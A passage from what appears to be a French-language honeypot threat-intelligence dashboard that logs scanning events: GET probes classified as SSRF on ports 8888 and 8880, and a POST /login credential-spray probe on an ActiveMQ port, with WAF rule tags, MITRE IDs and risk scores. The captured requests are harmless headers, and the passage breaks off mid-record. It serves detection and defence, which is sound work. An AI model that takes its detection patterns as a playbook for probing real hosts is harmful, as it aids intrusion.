"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "8c67378588b58e4735d670e988f0d9bccac84998",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8888,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "ssrf internal \u00b7 via HTTP:8888 \u00b7 (tentative d'exploit)",
"target_port_label": "8888 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 55\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 55,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 55,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8888,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8888,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8888 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "8888 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8888"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 18,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true,
"behavior_alert_count": 1,
"behavior_priority": 72
}
31/07/2026 15:44:27 UTC
TCP
8880 · HTTP
SSRF interne
ssrf internal · via HTTP:8880 · (tentative d'exploit)
Élevée
Moyen · 53
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8880
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
62%
Corrélation +8
Risque capteur
Moyen
· 53
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8880
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8880 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "705e57393925ae4499d6cc481be3dac8642e294d",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 185,
"payload_entropy": 5.351764679459358,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8880,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3.6,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 53,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "9c30ce3198befc881fb2b9eff62dd52155021f5f",
"event_fingerprint": "d02d0cf983692d58cdb0cfca4295b2fba7206c25",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.62,
"classification_confidence": 0.62,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 8
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "03a5d5dbdee8ed37d06baa73867ebabf",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8880,
"service": "http",
"service_name": "http",
"risk_score": 53
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "c3182ea50ec11f67272ff45c8d76cc617db627ee",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8880,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "ssrf internal \u00b7 via HTTP:8880 \u00b7 (tentative d'exploit)",
"target_port_label": "8880 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 62 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 62,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 8
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 53,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8880,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8880,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8880 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "8880 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 62 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +8 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8880"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"activemq-console",
"http"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:40:45 UTC
TCP
8161 · HTTP
Spray credentials
bruteforce credential spray · via HTTP:8161 · (sonde / probe) · → /login
Élevée
Élevé · 68
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
T1078
TA0007
TA0001
Protocole
POST /login UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950326:rce-0
950327:rce-0
950470:nosqli-3
950471:nosqli-3
Cible HTTP
POST
/login
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8161
Chemin / cible
/login
Pourquoi cette classification : Type « bruteforce_credential_spray » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 68
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1078
Beh Cred Stuff
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 921130 duplicate CL
SSRF Any-address SSRF
Ligne de requête
POST /login HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
POST /login HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8161
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Int
Requête brute (extrait)
POST /login HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8161 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Content-Length: 2839 Content-Type:
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "b6d38c1c7d1718a2aea83cf28650587b89450269",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 3132,
"payload_entropy": 4.563782810619362,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.7,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 68,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "8dc3610cb7c2eb1558d758a557480ff76158d8c2",
"event_fingerprint": "66e4a49827109ba91fc0b6cfe9fcdb411d885f7a",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 121,
"precision_signals": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"kb_rule_ids": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"matched_patterns": [
"pat-0842",
"pat-0324"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0842",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "credential_stuffing",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "4348a92bb2bd95bfc848d061dd4a28d4",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 68
},
"payload_preview": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Length: 2839\r\nContent-Type: ",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"evidence": {
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Length: 2839\r\nContent-Type: ",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre_techniques": [
"T1078",
"T1110"
],
"mitre": "T1078",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "23363cf750a7d8d802ea0a06a442d195ddaf598b",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:8161 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE T1078 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 68,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"tags_summary_labels_fr": [
"MITRE-T1078",
"Beh Cred Stuff"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1078",
"mitre_technique": "T1078",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:8161 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
